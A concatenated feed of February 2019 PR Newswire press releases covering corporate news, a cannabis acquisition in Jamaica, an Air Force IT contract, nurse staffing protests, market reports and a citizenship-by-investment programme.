Founded in 1921, the Wilbur-Ellis companies are leading international marketers and distributors of agricultural products, animal feed and specialty chemicals and ingredients. By developing strong relationships, making strategic market investments and capitalizing on new opportunities, the Wilbur-Ellis companies have continued to grow the business with sales now over $3 billion.

www.wilburellis.com

About Wilbur-Ellis Nutrition

Wilbur-Ellis Nutrition is an industry leader in the international distribution and marketing of nutrients for the livestock, pet food, aquaculture and animal nutrition industries. For nearly a century, Wilbur-Ellis Nutrition has provided value-added ingredients, excellent service and creative solutions to maximize return for its customers and suppliers. Wilbur-Ellis Nutrition generates over $475 million in sales revenue annually and has over 30 locations across the U.S., Canada, New Zealand and Japan. For more information, please visit www.WilburEllisNutrition.com.

SOURCE Wilbur-Ellis Nutrition

Related Links

https://www.wilburellisnutrition.com

VANCOUVER, British Columbia, Feb. 13, 2019 /PRNewswire/ -- Weekend Unlimited Inc. ("Weekend" or the "Company") (CSE: POT) (FSE: 0OS1) (OTCMKTS: WKULF) having announced a Letter of Intent on 1 November 2018 to acquire R&D Pharma's Jamaican interests, has now entered into a definitive agreement with R&D Pharma, which is anticipated to close next week.

R&D Pharma ("RDP") is a Canadian company building a vertically integrated medical cannabis business in Jamaica. RDP has secured a Tier-3 Cultivator's License, which allows for full cultivation of cannabis plants on land of over 5 acres, which in this case applies to the 98-acre RDP property.

R&D Pharma Highlights include:

Approved Tier-3 cultivators license

Medical tourism in Jamaica , plus phenotyping with Jamaican sativas, to brand and export internationally recognized strains, extracts, and infused products

, plus phenotyping with Jamaican sativas, to brand and export internationally recognized strains, extracts, and infused products Will be a significant exporter of branded full spectrum extracts as well as extracted cannabinoids from one of world's lowest cost geographies for growing cannabis

"Upon signing this deal, we are excited to accelerate operations in Jamaica. There has been tremendous work accomplished on the property by the team on the ground and the cultivation results have been impressive in both quality and economically," noted Mr. Paul Chu, Weekend Unlimited President and CEO.

About Weekend Unlimited Inc.

Weekend Unlimited is capitalizing on its vast industry relationships to establish a lifestyle brand featuring premium products and delivering life's highest moments. The company aggregates and scales small to medium brands, primarily in the categories of flower, extracts and edibles. Weekend Unlimited brands have best of class operations, distribution and strong revenue trajectories, making them ideal candidates for the deployment of capital and expertise through access to technologies, infrastructure and centralized systems. Learn more at www.weekendunlimited.com

Neither the Canadian Securities Exchange nor its Regulation Services Provider (as that term is defined in the policies of the Canadian Securities Exchange) accepts responsibility for the adequacy or accuracy of this release.

Forward Looking Statements

Certain information set forth in this news release may contain forward-looking statements that involve substantial known and unknown risks and uncertainties. All statements other than statements of historical fact are forward-looking statements, including, without limitation, statements regarding future financial position, business strategy, use of proceeds, corporate vision, proposed acquisitions, partnerships, joint-ventures and strategic alliances and co-operations, budgets, cost and plans and objectives of or involving the Company. Such forward-looking information reflects management's current beliefs and is based on information currently available to management. Often, but not always, forward-looking statements can be identified by the use of words such as "plans", "expects", "is expected", "budget", "scheduled", "estimates", "forecasts", "predicts", "intends", "targets", "aims", "anticipates" or "believes" or variations (including negative variations) of such words and phrases or may be identified by statements to the effect that certain actions "may", "could", "should", "would", "might" or "will" be taken, occur or be achieved. A number of known and unknown risks, uncertainties and other factors may cause the actual results or performance to materially differ from any future results or performance expressed or implied by the forward-looking information. These forward-looking statements are subject to numerous risks and uncertainties, certain of which are beyond the control of the Company including, but not limited to, the impact of general economic conditions, industry conditions and dependence upon regulatory approvals. Readers are cautioned that the assumptions used in the preparation of such information, although considered reasonable at the time of preparation, may prove to be imprecise and, as such, undue reliance should not be placed on forward-looking statements. The Company does not assume any obligation to update or revise its forward-looking statements, whether as a result of new information, future events, or otherwise, except as required by securities laws.

For further information, please contact:

Mr. Paul Chu, President and CEO

Telephone: +1(236) 317-2812 - Toll free 1(888) 556-9656

E-mail: [email protected]

SOURCE Weekend Unlimited Inc.

Related Links

http://www.weekendunlimited.com/

FAIRFAX, Va., Feb. 13, 2019 /PRNewswire/ -- VMD Corp today announced that it has won a $77M project with the United States Air Force supporting the Office of Information Dominance and Chief Information Officer (SAF/CIO A6).

"We're incredibly thrilled to be chosen for this important work," VMD Chief Executive Officer Deepti Malhotra said. "SAF/CIO A6 provides essential, mission support for airmen, and we're happy to have been selected as their Cyberspace mission focused advisory and assistance partner on this contract."

SAF/CIO A6 helps the United States Air Force fully exploit the man-made domain of cyberspace to execute, enhance and support core missions. Three core priorities guide its efforts. They are: 1) increasing the effectiveness of Air Force core missions by providing timely and accurate information, ensuring that airmen at every level can make informed decisions quickly; 2) increasing the security of Air Force systems and information amid persistent and evolving cyber threats; and 3) realizing efficiencies through innovative IT solutions by identifying, vetting, funding, and implementing the untapped, innovative ideas that can increase the effectiveness and efficiencies of the United States Air Force.

VMD will provide SAF/CIO A6 with business analysis, advisory and assistance services in support of the following areas: Deputy Chief Information Officer, Cyberspace Chief Information Security Officer, AF Chief Technology Officer, Cyberspace Strategy & Policy Directorate, Cyberspace Operations & Warfighter Integration Directorate, and Cyberspace Capabilities & Compliance. The team will also help develop Air Force cyberspace strategy, policy and requirements in support of the United States Air Force's global mission.



"I'm incredibly proud of the team for this win," Malhotra continued. "We pride ourselves on being vision and mission driven, and being selected to do this kind of strategic, mission-critical work is such a testament to everyone who worked on the proposal and who will support SAF/CIO A6 in helping the Air Force maintain an advantageous position as it confronts evolving, complex cyber threats for years to come."

The award includes a 12-month base period with four option years, including tasks and line items. The period of performance began on January 4, 2019.

Contact: Caryn Alagno

202-236-9073

SOURCE VMD CorpNEW YORK, Feb. 13, 2019 /PRNewswire/ -- Victoria's Secret, the world's most famous lingerie brand, introduces French lingerie purveyor LIVY. Launching February 13th, LIVY will be available at select Victoria's Secret stores in the US and at VictoriasSecret.com, as well as select stores in the UK beginning February 20th. Exclusive to the Victoria's Secret 5th Avenue (New York City) and New Bond Street (London) Flagship stores, LIVY will be featured within a branded shop-in-shop.

Angel Sara Sampaio and Designer Lisa Chavy Introduce "LIVY" at Victoria's Secret

LIVY, founded by Paris-based designer Lisa Chavy, has been dubbed the "new lingerie brand to know," blending traditional and modern intricacies that push design boundaries and take fashion lingerie to the next level. LIVY is constantly seeking out ways to differentiate the brand through new premium fabrics and techniques.

The line is inspired by the unique style and sensibilities of women in Paris, New York and Los Angeles, and is further influenced by Chavy's love of art and architecture. LIVY lingerie is for a woman who wants to be seen and not hidden beneath clothing.

"I love the way women make choices. The way they decide to live their life, fully, boldly. I created LIVY because I wanted to empower women's freedom. I wanted to create lingerie that would be more than lingerieit's a lifestyle matching who they are," says Chavy.

The LIVY collection at Victoria's Secret includes an array of bras, panties, lingerie, sleepwear and lifestyle pieces. High-end product details include graphic-back designs, tattoo-style appliques, crisp laser-cut lines, bold hardware accents, luxe Calais lace, and thermo-fused technology creating a smooth and comfortable fabric finish.

To shop the collection, visit: https://www.victoriassecret.com

Follow Victoria's Secret on social media using #VictoriaMeetsLIVY on Instagram and Twitter @VictoriasSecret and www.Facebook.com/VictoriasSecret

For additional press information and content, visit https://vspressroom.com/

Victoria's Secret:

Victoria's Secret is the leading specialty retailer of bras, panties, lingerie, pajamas and beauty products with prestige fragrances, body care, celebrated Supermodels and world-famous runway shows. A business of L Brands, Inc. (NYSE: LB), Victoria's Secretserves customers at more than 1,600 Victoria's Secret Lingerie and Beauty stores around the globe and online at www.VictoriasSecret.com, enabling them to shop the brand anywhere and anytime.

SOURCE Victorias Secret

Related Links

https://www.victoriassecret.com

WASHINGTON, Feb. 13, 2019 /PRNewswire/ --

WHAT:

The U.S. Commission on Civil Rights will hold a public briefing to evaluate the civil rights of women in prison, including deprivations of medical needs; implementation of the Prison Rape Elimination Act; and sufficiency of programs to prepare women for life after release. The Commission will examine discipline practices and the impact on families when women are jailed far from home or parental rights are terminated despite a caregiving role. Incarceration rates for women have increased dramatically since the 1970s  far outpacing those of men - and investigations have long shown that women in U.S. prisons suffer different experiences and deprivations than men - in a system not designed for them.

Commissioners will hear from state and federal corrections officials, women who have experienced incarceration, academic and legal experts, and advocates. The Commission will issue a report from this investigation. Confirmed panelists include:

Susan Burton , Founder, A New Way of Life Reentry Project;

, Founder, A New Way of Life Reentry Project; Dr. Alix M. McLearen , National Administrator, Women and Special Population Branch, Federal Bureau of Prisons;

, National Administrator, Women and Special Population Branch, Federal Bureau of Prisons; The Honorable Brenda P. Murray, Co-Chair, Women in Prison Committee, National Association of Women Judges;

Kaitlin Owens , Policy Analyst, The American Conservative Union;

, Policy Analyst, The American Conservative Union; Judith Resnik , Arthur Liman Professor of Law, Yale Law School;

, Arthur Liman Professor of Law, Yale Law School; Brenda V. Smith , Professor of Law, American University ; Project Director, U.S. Department of Justice's National Institute of Corrections Cooperative Agreement on Addressing Prison Rape;

, Professor of Law, ; Project Director, U.S. Department of Justice's National Institute of Corrections Cooperative Agreement on Addressing Prison Rape; Dr. Wendy Williams , Deputy Commissioner, Women's Services, Alabama Department of Corrections.

WHEN:

Friday, February 22, 2019

WHERE:

U.S. Commission on Civil Rights, National Place Building, 1331 Pennsylvania Ave. NW, Suite 1150, Washington, DC 20425

(Also live-streaming)

AGENDA:

Invited Panelists: 9:00 am  4:00 pm Eastern Time (ET)

Open Comment Session (Public Testimony): 5:00  6:00 pm

Chair Catherine E. Lhamon will be available for press interviews.

The U.S. Commission on Civil Rights, established by the Civil Rights Act of 1957, is the only independent, bipartisan agency charged with advising the President and Congress on civil rights and reporting annually on federal civil rights enforcement. Our 51 state Advisory Committees offer a broad perspective on civil rights concerns at state and local levels. For information about the Commission, please visit www.usccr.gov and follow us on Twitter and Facebook.

Contact: Brian Walch

Email: [email protected]

Tel: 202-376-8371

SOURCE U.S. Commission on Civil Rights

Related Links

http://www.usccr.gov

HUNTSVILLE, Ala., Feb. 13, 2019 /PRNewswire/ -- Transomic Technologies, located on the campus of HudsonAlpha Institute for Biotechnology, has announced that their CRISPR whole genome arrayed library has been placed at McGill University, supported by the Rosalind and Morris Goodman Cancer Research Centre. Transomic's CRISPR library will be in care of Dr. Sidong Huang, director of the Genetic Perturbation Service which provides McGill research labs rapid access to the latest functional genetic tools.

"Transomic's CRISPR library is an important and exciting asset to the McGill research community," said Dr. Huang. "Complementary to the existing genomic tools at the Genetic Perturbation Service, this CRISPR library will enable McGill researchers to systemically perform gene knockout and interrogate gene function, greatly enhancing their research capacity for basic and translational research."

These CRISPR genome-editing tools and other gene modulation tools can be purchased through Transomic Technologies at www.transomic.com .

About transOMIC: transOMIC technologies provides innovative tools and strategies for life science research to help unravel genetic complexity and understand disease development. This mission, coupled with a good understanding of the tools that life science researchers need, drives our focus to be a research partner; delivering technologies in a cost-effective and technically supported manner to enable discovery across the genome. We have an extensive offering of gene-based products to enable research scientists to perform genome editing, gene knockdown, and gene over-expression studies. These types of studies produce insights into gene function which ultimately provide biological understanding of disease and possibilities for therapies. Our leading-edge products are developed through ongoing collaborations with academic thought leaders.

Media Contact:

Blake Simmons

1-256-327-9513

[email protected]

SOURCE Transomic Technologies

Related Links

http://www.transomic.com

NEW YORK, Feb. 13, 2019 /PRNewswire/ -- Thousands of nurses from the New York State Nurses Association today joined with elected officials and community leaders to participate in a day of protest sparked by reports that shed light on the horrendous conditions inside hospitals because there is not enough staff to give the patients the care they need and deserve.

The reports come from the compilation of almost 3,800 official "Protests of Assignment" (POAs) signed by over 20,000 nurses from January to December of 2018. POAs are official complaints filed by nurses to highlight severe problems in their facilities. The POAs listed in the reports come from New York Presbyterian, Mount Sinai St. Luke's and West Campuses, and Montefiore Medical Center's Moses and Weiler Campus.

View the reports for New York Presbyterian here , Mount Sinai St. Luke's and West Campuses here , Montefiore Medical Center's Moses and Weiler Campus here , and Mount Sinai here .

New York Presbyterian had 1046 POAs supported by 4469 signatures by registered nurses from January 2018 to December 2018.

Mount Sinai had 1310 POAs supported by 8058 signatures by registered nurses from January 2018 to December 2018.

Mount Sinai's St. Luke's and West Campuses had 416 POAs supported by 2293 signatures by registered nurses from January 2018 to December 2018.

Montefiore Medical Center's Moses and Weiler Campus had 976 POAs supported by 5405 signatures by registered nurses from January 2018 to December 2018.

Below are just a few of the thousands of jaw-dropping stories from the reports:

Health & Safety; Insufficient # of Staff & High Acuity: Pediatric ED understaffed such that there is more than a 3.5 to 6 hour wait time to see a provider, more than 20 patients holding in triage area, no RN screener, patients pulling out IV and multiple attempts to bite, kick, scratch, and punch staff. Census 68, only 6 RNs.

High Patient Acuity, Insufficient # Qualified Staff, Violation of Staffing Ratios: On NICU , we have 2 orientee RNs, and 2 CPAP baby, 4 CPAP babies with IV and ABTs, 3 babies with IV antibiotic and glucose checks every 3 hours. Our bed capacity is 35 and we are over with a census of 44. Only 3 RNs on duty. Parents need personal attention/education.

Insufficient # of Staff, High Acuity: Unit census was 21 at start of shift with 2 admissions to be received. Now census is 26 with an additional 2 patients en route. A total of 11 admissions will be received on this shift. No CNAs on floor. 1 ventilated patient, 2 with trach, 1 on restraints, 3 isolations, multiple incontinent patients, 3 pressure ulcers, 1 blood transfusion, all call bells ringing but nurses are busy with admissions, over 20 patients on fall risk.

Health and Safety: Insufficient space, hallway patients, patients stacked in rows, unable to access patients in a timely manner, temp in ED 76 degrees on west side, air conditioning not working on East side and area is very hot and uncomfortable, inadequate ventilation, unable to comply with appropriate infection control. Patients waiting days to get a bed and aggressive to staff.

A registered nurse receiving an assignment that in her/his professional judgment places the patient(s) at risk has an obligation under law and ethics to take action. The New York State Nurse Practice Act, the Code of Ethics for Nurses, and the mandates under the NYS Board of Regents Rules related to Unprofessional Conduct hold the nurse responsible and accountable for the quality of nursing care provided to patients. POA forms are used when nurses are expected to assume responsibilities and accountabilities that exceed their experience, or the volume of care is more than the nurse can safely administer.

It is clear that something must be done, including the implementation of Safe staffing ratios to ensure every patient gets the care they need and deserve. Safe staffing is one of the issues that is currently being discussed as part of contract negotiations. One note: it is a fact: safe staffing measures do not adversely affect hospital budgets. To the contrary, in many cases patients receive better care, and have a lower recidivism rate which saves money.

NYSNA RNs refused to be silenced on this issue despite hospital attempts to stop RNs from expressing our views and hospital failure to provide us all the information we requested on staffing.

Nurses at the following hospitals participated in today's protest:

NEWYORK-PRESBYTERIAN: MILSTEIN HOSPITAL

MONTEFIORE HENRY & LUCY MOSES CAMPUS

MONTEFIORE JACK D. WEILER CAMPUS

MOUNT SINAI HOSPITAL

HOSPITAL ST. LUKE'S HOSPITAL

MOUNT SINAI WEST HOSPITAL

WEST HOSPITAL THE BROOKLYN HOSPITAL CENTER

HOSPITAL CENTER BRONXCARE HEALTH SYSTEM

NEWYORK-PRESBYTERIAN: ALLEN HOSPITAL

MONTEFIORE HUTCHINSON CAMPUS

MONTEFIORE WESTCHESTER SQUARE

SQUARE MONTEFIORE HOME HEALTH AGENCY

WYCKOFF HEIGHTS MEDICAL CENTER

ABOUT THE NEW YORK STATE NURSES ASSOCIATION

The New York State Nurses Association (NYSNA) represents more than 42,000 members in New York State. We are New York's largest union and professional association for registered nurses. For more information, please visit our website at www.nysna.org

SOURCE New York State Nurses Association

Related Links

http://www.nysna.org

The Inside revolutionizes how home is made by offering 100+ exclusive designer fabrics that can be customized to the consumer's furniture of choice, all at a comparable price point to other mainstream furniture retailers including West Elm, CB2, and Wayfair, and delivered within 3-4 weeks. Because of its disruptive supply chain, which includes a digital printing process and drop shipping from manufacturers, the company is able to partner with heritage design houses such as Scalamandre, offering its beloved designs to a new consumer. The Scalamandre partnership marks The Inside's first foray into combining technology and design history, in order to bring a brand coveted by interior designers and luxury clients, to design and decor enthusiasts everywhere.

Christiane Lemieux, co-founder and CEO of The Inside said, "Scalamandre is synonymous with gorgeous high-end design. The brand immediately conjures up Jacqueline Kennedy and the golden age of American decorating. We are thrilled to be partnering with Scalamandre to bring design of this quality to a whole new audience. It is our mission to bring decorating into the digital world and we could not imagine a better partner with which to start."

The collection includes exclusive colorways of 6 fabric designs from the Scalamandre archive (including the iconic Zebra print featured in cult classic film, The Royal Tenenbaums) plus one never-before-seen print (Leaping Cheetahs), that can be paired with any piece of furniture on The Inside, for the ultimate in customer personalization.

Chad Stark, President of Scalamandre, added "Collaborating with The Inside is an amazing opportunity to show design enthusiasts at all levels that Scalamandre is evolving our business to address today's consumers and how they shop. By rescaling and recoloring a selection of iconic patterns, we've crafted an assortment that complements our trade-only offering and showcases our 90 year-old heritage brand to the digital marketplace."

The exclusive The Inside x Scalamandre collection can be found here starting February 19.

ABOUT THE INSIDE

The Inside is a digitally native, direct to consumer furniture brand that is revolutionizing how home is made. Founded by Christiane Lemieux (Founder of Dwell Studio, sold to Wayfair) and Britt Bunn, the company offers world-class design, limitless selection, and fashion-forward furniture at the most compelling prices through continuous supply chain innovation and superior customer experience. The company's mission is to bring decorating into the digital world in order to inspire every home in the world.

ABOUT SCALAMANDRE

Scalamandre, sister company to Stark, has long been a destination for classic style, refined quality, and timeless design. Today we build on our ninety-year old legacy with inspired collections that celebrate beauty, luxury and excellence in craftsmanship. With twelve corporate multi-line showrooms nationwide, Scalamandre has become an industry leader as both a signature brand and forward-thinking company.

MEDIA CONTACTS

Nylon Consulting

Meg Bell

[email protected]

903-780-5409

SOURCE The Inside

Related Links

https://www.theinside.com

LONDON, Feb. 13, 2019 /PRNewswire/ -- Beef Market Size, Share & Trends Analysis Report By Cut (Brisket, Shank, Loin), By Slaughter Method (Kosher, Halal), By Region (North America, Europe, APAC, MEA, CSA), And Segment Forecasts, 2019 - 2025



Download the full report: https://www.reportbuyer.com/product/5741366



The global beef market size is expected to reach USD 383.5 billion by 2025, according to a new report by Grand View Research, Inc., exhibiting a 3.1% CAGR during the forecast period. Growing awareness regarding beef as a major source of protein is expected to drive the market.



Beef and veal have higher protein content compared to chicken, pork, turkey, and lamb.Surging awareness associated with consumption of protein through high nutritional food is gaining importance among people.



Meat eaters in U.S. prefer beef over other meats owing to various diseases associated with poultry and pork. These factors have been aiding market growth.



High demand from China, supported by increasing disposable income, is also anticipated to drive beef consumption over the forecast period.Favorable government initiatives pertaining to the food industry will remain an important growth factor.



Recently, the government of China lifted the ban on Australian chilled and frozen food.It is expected that the government will also lift the Brazilian imports ban over the coming years.



However, health hazards associated with consumption of meat and higher prices of beef compared to other forms of meat can critically impact market growth.



U.S. is one of the largest producers of beef in the global market. In the last six years, the country has seen significant imports of chilled grass beef. Demand from restaurant chains such as Burger King and McDonald's is also expected to contribute to the growth of the U.S. market.



Rise in Islamic population will trigger demand for halal beef over the forecast period.Limited supply of cattle in certain countries can lead to increase in product prices, creating imbalance in the value chain.



Safety and quality benefits associated with kosher beef will trigger demand in the North America region. Enhancement in slaughtering techniques and improvement in animal feed technology are projected to create opportunities for various market participants in the value chain.



Further key findings from the report suggest:

 The other cuts segment dominated the global market with a revenue share of 54.7% in 2017, mainly due to increasing demand for ribs, round, chuck, plate, and flank

 Loin cut is expected to be the fastest growing segment, registering a CAGR of 3.5% from 2017 to 2025

 In terms of volume, the halal slaughter method is projected to expand at a CAGR of 2.7% over the forecast period

 In terms of volume, North America is projected to witness a steady CAGR of 2.5% over the forecast period. Awareness associated with grass-fed beef is anticipated to contribute to market growth

 Some of the key companies in the market are Tyson Foods, Inc.; Danish Crown; Cargil, Incorporated; Marfrig Global Foods S.A.; and NH Foods Ltd.



Download the full report: https://www.reportbuyer.com/product/5741366



About Reportbuyer

Reportbuyer is a leading industry intelligence solution that provides all market research reports from top publishers



For more information:

Sarah Smith

Research Advisor at Reportbuyer.com

Email: [email protected]

Tel: +1 (718) 213 4904

Website: www.reportbuyer.com

SOURCE ReportBuyer

Related Links

http://www.reportbuyer.com

HOUSTON, Feb. 13, 2019 /PRNewswire/ -- Moss Creek Resources Holdings, Inc. (the "Company"), a wholly owned subsidiary of Surge Energy US Holdings Company ("Surge") today announced preliminary 2018 results, 2019 activity guidance and management transition.

Preliminary 2018 Results

Q4 2018 production of 43.2 Mboe/d (91% oil), up 38% vs Q4 2017; full year 2018 production of 40.3 Mboe/d (88% oil), up 62% year over year

Proved reserves as of December 31, 2018 of 271 MMboe (44% PDP, 81% oil), up 5% year over year

of 271 MMboe (44% PDP, 81% oil), up 5% year over year For the full year 2018, the Company drilled 111 gross operated wells and brought online 117 gross operated wells

Despite lower commodity prices in Q4 2018, cash margins remained strong due to high oil content of 91% and significant reduction in per unit Lease Operating Expenses ("LOE")

As of year-end 2018, approximately $214MM was drawn on the Company's revolving credit facility or 24% of the committed borrowing base; the remaining availability of the borrowing base and cash on hand at year-end resulted in approximately $740 MM in liquidity

"2018 was an incredible year for our young company as we continued to focus on execution of a conservative financial strategy and a sound operating plan" stated President & CEO Dexter Burleigh. "Throughout the year we systematically delivered on every goal we set and indeed met or exceeded virtually all of our annual targets. On production we beat our guidance for the year. LOE unit costs improved approximately 30% in 2018 versus 2017. Our premier assets, coupled with the high performance and strong capabilities of the Surge Team have definitely made 2018 an outstanding year. Over our short history, Surge continues to deliver on its commitments and I continue to have strong confidence in our ability to repeat and improve upon this track record as we go forward."

These preliminary 2018 results are unaudited and reflect management's estimates based solely upon information available to it as of the date of this release. Such preliminary results are subject to the finalization of year-end financial and accounting procedures (which have yet to be completed). BKD LLP, Surge's independent auditors, has not audited, reviewed, compiled or performed any procedures with respect to these preliminary 2018 results for purposes of their inclusion in this release. Accordingly, BKD LLP does not express an opinion or provide any other form of assurance with respect thereto for the purpose of this release.

2019 Activity Outlook

Consistent with the Company's commitment to a conservative financial strategy and in response to the macro commodity price volatility, Surge has reduced development activity in 2019 while still projecting year-over-year production growth.

The Company has begun reducing operated rig activity from the 2018 exit rate level of six rigs to an operated rig count of three rigs by the end of Q1 or early Q2.

Operational flexibility to manage changes in macro environment will result in a 2019 budget whereby the Company will either gradually increase rig activity later in 2019 if prices improve or maintain three rigs if prices stay at or below current levels

If commodity markets improve and rig activity is increased in 2H 2019, the Company expects to drill between 80 - 85 gross operated wells and anticipates participating in 20 - 25 non-operated wells resulting in 2019 Capital Expenditures of $680MM - $720MM and the anticipated year-over-year production growth of 10%-15%.

If commodity markets do not improve and rig activity is held flat, the Company expects to drill between 55 - 60 gross operated wells and anticipates participating in 10 - 15 non-operated wells resulting in 2019 Capital Expenditures of $525MM - $550MM and the anticipated year-over-year production growth of 5%-8%.

"We remain committed to maintaining a conservative financial strategy and therefore due to the recent pull back in commodity prices, we are reducing drilling rigs to reduce cash outspend" stated Mr. Burleigh. "Our operational flexibility, which is driven by achieving a high percentage of held-by-production acreage, limited lease expirations in 2019, and minimal long-term contracts, enables us to react to changes in the commodity price environment. We are in the process of reducing our rig count to three. Depending on prices during 2019, we may gradually increase rig activity or maintain three rigs for the remainder of 2019. In either scenario, we expect that the low break-even and high cash margins of our asset base will deliver strong economics for every dollar spent. The resilience of our assets, coupled with the pull back in activity, will allow us to continue to maintain a conservative leverage profile."

This release includes "forward-looking statements." Such forward-looking statements are subject to a number of risks and uncertainties, many of which are beyond Surge's control. All statements, except for statements of historical fact, made in this release regarding activities, events or developments Surge expects, believes or anticipates will or may occur in the future, such as those regarding future commodity prices, future production targets, future earnings, future capital spending plans, improved and/or increasing capital efficiency, expected drilling and development plans (including the number of wells to be drilled, the number of drilling rigs and the number of operated or non-operated wells) and future financial position, are forward-looking statements. All forward-looking statements speak only as of the date of this release. Although Surge believes that the plans, intentions and expectations reflected in or suggested by the forward-looking statements are reasonable, there is no assurance that these plans, intentions or expectations will be achieved. Therefore, actual outcomes and results could materially differ from what is expressed, implied or forecast in such statements. Surge expressly disclaims any obligation to and does not intend to publicly update or revise any forward-looking statements, including statements set forth in the 2019 activity outlook. Surge cautions you that these forward-looking statements are subject to a number of assumptions, risks and uncertainties, most of which are difficult to predict and many of which are beyond Surge's control, incident to the exploration for and development, production, gathering and sale of oil and natural gas. These risks include, but are not limited to, financial performance and results, current economic conditions and resulting capital restraints, prices and demand for oil and natural gas, availability of drilling equipment and personnel, availability of sufficient capital to execute Surge's business plan, impact of compliance with legislation and regulations, successful results from Surge's identified drilling locations, Surge's ability to replace reserves and efficiently develop and exploit its current reserves, Surge's ability to successfully identify, complete and integrate acquisitions of properties or businesses and other important factors that could cause actual results to differ materially from those projected. You are cautioned not to place reliance on any forward-looking statement. Past performance is not a reliable indication of future performance of Surge.

Management Transition

The company today announced that Linhua Guan has been named Chief Executive Officer, effective May 1, 2019. Mr. Guan currently serves as Chief Business Development Officer at Surge, a role he has held since December 2018, and has over 20 years of experience in the industry holding various roles at Star Energy International, Statoil, Chevron and CNPC. Dexter Burleigh will remain with the Company in the role of President.

Mr. Guan has been appointed to the role of CEO in support of the Company's stated goals and strategy of continuing to build a long-term, sustainable U.S. based oil and gas company.

"We are very excited to welcome Mr. Guan to the Surge family and I am confident his strong and accomplished background will help lead Surge into its next phase of growth" stated Mr. Burleigh. "With Mr. Guan's transition to the role of CEO, I will continue to be engaged in Surge's business and the future of the Company in the role of President, whereby I will be closely involved in execution of our business strategy."

"Surge has grown and matured into one of the leading operators in the Midland Basin and I am excited to be a part of Surge's next chapter" stated Mr. Guan. "In the future, Surge will continue to be focused on building a long-term and viable U.S. based oil and gas company on the values of safety, transparency, integrity, teamwork and excellence."

Conference Call

As previously announced, the Company will hold a conference call to discuss its preliminary 2018 results, 2019 capital plan and management transition update on February 14, 2019 at 10:00 AM EST (9:00 AM CST). Hosting the call will be Dexter Burleigh, Chief Executive Officer; Phil Webb, Chief Operating Officer; James Welch, Chief Financial Officer; and Linhua Guan, Chief Business Development Officer.

The conference call is intended to provide information to beneficial owners of the Company's outstanding 7.500% Senior Notes due 2026 (the "Notes"), bona fide prospective holders of the Notes and bona fide security analysis of the Notes. If interested in participating in the conference call, please request access to the Company's Virtual Data Room (VDR) available under the Investor Relations tab on the Company's website. Call details are available in the VDR once access is granted.

About Surge Energy US Holdings Company

Surge Energy US Holdings Company is an independent oil and natural gas company focused on the development, exploitation, production and acquisition of oil and natural gas reserves in the Midland Basin of West Texas, one of three primary sub-basins of the Permian Basin. The company is headquartered in Houston, Texas and currently holds approximately 85,000 net acres in the Permian Basin. For more information, visit our website at www.surgeenergya.com.

SOURCE Surge Energy

Related Links

http://www.surgeenergya.com/

COLUMBUS, Ohio, Feb. 13, 2019 /PRNewswire/ -- In a poll released today by the Ohio Conservative Energy Forum (OHCEF), conservative voters throughout the state overwhelmingly supported public policies that encourage greater production of renewable energy. Among the key findings:

Two-thirds of Ohio conservatives believe that Ohio should diversify its energy generation portfolio by having at least half of Ohio's energy come from renewable sources.

Additionally, nearly two-thirds of respondents say they are more likely to support a politician who voted for/supported renewable energy or energy efficiency legislation.

The third annual poll was conducted by the Republican polling firm, Public Opinion Strategies, which specifically interviewed Ohio voters who identified as Republican or independents who also say they are conservative. Underscoring the conservative viewpoints of those polled, President Trump had an 81 percent favorable rating, up from previous OHCEF polls.

Conservative voters also demonstrate strong and significant support for establishing setback limits that protect a land owner's right to lease property for wind projects  with 75 percent supporting this issue. Additionally, 67 percent favor establishing reasonable setback distances of a quarter of a mile from residences for wind projects that will create additional revenue for local fire, police, and schools.

"Paulding County has seen over $700 million in economic investment from 3 commercial wind projects since 2011," said Jerry Ziekle, Director of Paulding County Economic Director. "Thanks to local wind development, our county's bond rating has increased to Aa3 from A1 by Moody's. Also, our schools are receiving money from PILOT payments and the Paulding County Area Foundation was able to award over $100,000 in scholarships to graduating seniors in 2018."

"It was not surprising that conservatives view protecting property owners' rights as very important," said Tyler Duvelius, Executive Director of OHCEF. "Fifty-two percent said protecting property owners' ability to produce energy on their land was important to them. Simply put, it's your land and your rules."

Additionally, Ohio conservatives have the most positive feelings about energy efficiency and natural gas followed by solar, wind, coal, nuclear power and electric vehicles.

"Conservatives as a whole find national security to be a critical topic, yet do not factor in how renewable energy plays a role in protecting our country," said Lt. General Richard Zilmer, USMC (Ret.). "Companies are focused on renewable energy sources like solar and wind energy  for the simple reason that renewable energy is not only better for the environment than traditional sources, but is better for the security of our nation, and increasingly a better choice economically."

Public Opinion Strategies conducted the survey from January 19-22, 2019 and completed 400 telephone interviews with registered voters who identify as conservative. The margin of sampling error for this statewide sample of conservative voters is +/-4.9%.

For more information, visit www.ohcef.org.

SOURCE Ohio Conservative Energy Forum

Related Links

https://www.ohcef.org

LONDON, Feb. 12, 2019 /PRNewswire/ -- Last week, the St Kitts and Nevis Government announced the introduction of two new mechanisms to the compulsory security procedures under its Citizenship by Investment (CBI) Programme. During a recent meet-and-greet event in Dubai, senior Government officials explained that St Kitts and Nevis citizenship hopefuls would need to undergo digital fingerprinting checks as part of the due diligence process. Furthermore, they announced that new legislation pertaining to the Escrow Account Bill would increase transparency of the real estate option under the country's CBI Programme.

The popularity of the St Kitts and Nevis Programme continues to grow worldwide, and even more so after Prime Minister Timothy Harris introduced a new investment channel  the Sustainable Growth Fund (SGF)  in March last year. It is a successor to the temporary Hurricane Relief Fund option, which was terminated in the spring of 2018. The SGF's unique selling point is its efficiency due to lack of additional intermediaries or bureaucracy. Specifically, once an applicant is approved in principle, they can make a contribution straight into a government-held account, who can immediately assess receipt of funds and complete the application without delay.

As the Programme becomes more attractive to affluent Middle Eastern investors, CBI specialists CS Global Partners  the international legal advisory mandated by the St Kitts and Nevis Government to promote its CBI Programme  has a few tips to make the application process smoother. "Your best starting point is the government website  ciu.gov.kn  where you can find more information on the Programme itself, and, more importantly, select your agent from a reliable list, approved by the government," advises CEO Micha Rose-Emmett. "Your agent will guide you throughout the process until completion, so choose one whom you can trust to provide the correct legal advice."

The SGF is an important economic pillar for St Kitts and Nevis, as the generated funds aim to support development in education, infrastructure, social wellbeing or indigenous entrepreneurship etc. St Kitts and Nevis remains the country offering world's longest-serving CBI Programme, running since 1984. It provides two investment pathways: a contribution to a government fund or an investment in pre-approved real estate.

[email protected]

SOURCE CS Global PartnersDALLAS, Feb. 13, 2019 /PRNewswire/ -- Southwest Airlines Co. (NYSE: LUV) announced this week that it will share $544 million with its Employees through the Company's ProfitSharing Plan. This reward equals approximately 10.8 percent of each eligible Employee's eligible compensation.

